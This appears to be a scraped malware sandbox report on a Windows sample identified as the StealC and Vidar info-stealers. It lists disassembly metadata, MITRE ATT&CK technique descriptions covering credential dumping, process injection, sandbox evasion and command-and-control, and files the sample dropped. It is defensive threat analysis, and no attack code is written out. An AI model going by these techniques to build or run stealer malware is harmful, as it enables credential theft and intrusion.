Part of subcall function 6BFC1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFC0936,00000001), ref: 6BFC1167

Strings

clock, xrefs: 6BFC0F20

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 828e82665510e0cc31d16952157237d326a49b41c548f9a9159ecd8e85b46ae8
Instruction ID: 5425c39a6105b35408bc4a444b69884db17b84d858d2b97e41349ee2dfebd1df
Opcode Fuzzy Hash: 828e82665510e0cc31d16952157237d326a49b41c548f9a9159ecd8e85b46ae8
Instruction Fuzzy Hash: CED0223360012A15C520336BAC8AB17B3ACC7C327DF100822E00C014200B2C80FEEAF7

Function 6C030DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C030DF5
TlsGetValue.KERNEL32 ref: 6C030E2D
TlsGetValue.KERNEL32 ref: 6C030E58
TlsGetValue.KERNEL32 ref: 6C030E84

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: de5c89f75c935bdd22e8fb6345d2f259689f9ccaa62c1d57d23da02721da8828
Instruction ID: e06c23e0ad6747c247bef8e6b712c5c196cd5cb2c73f987856dba9c30ef00343
Opcode Fuzzy Hash: de5c89f75c935bdd22e8fb6345d2f259689f9ccaa62c1d57d23da02721da8828
Instruction Fuzzy Hash: EB31D0B174A3668BEB106F78C48535A77F4BF4630CF516669D88C876A1EB78C085CB82

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDAKJK

C:\ProgramData\BKEBFHIJECFIDGDGCGHCGIIECA

C:\ProgramData\BKKFCFBKFC.exe

C:\ProgramData\CAFIJKFHIJKKEBGCFBFHIEBAFH

C:\ProgramData\DAECFIJDAAAKECBFCGHI

C:\ProgramData\DBKKFCBAKKFBGCBFHJDG

C:\ProgramData\DBKKFCBAKKFBGCBFHJDGDGDHCA

C:\ProgramData\EHDGCGIDAKEBKECAFIEH

C:\ProgramData\EHJKJDGC

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre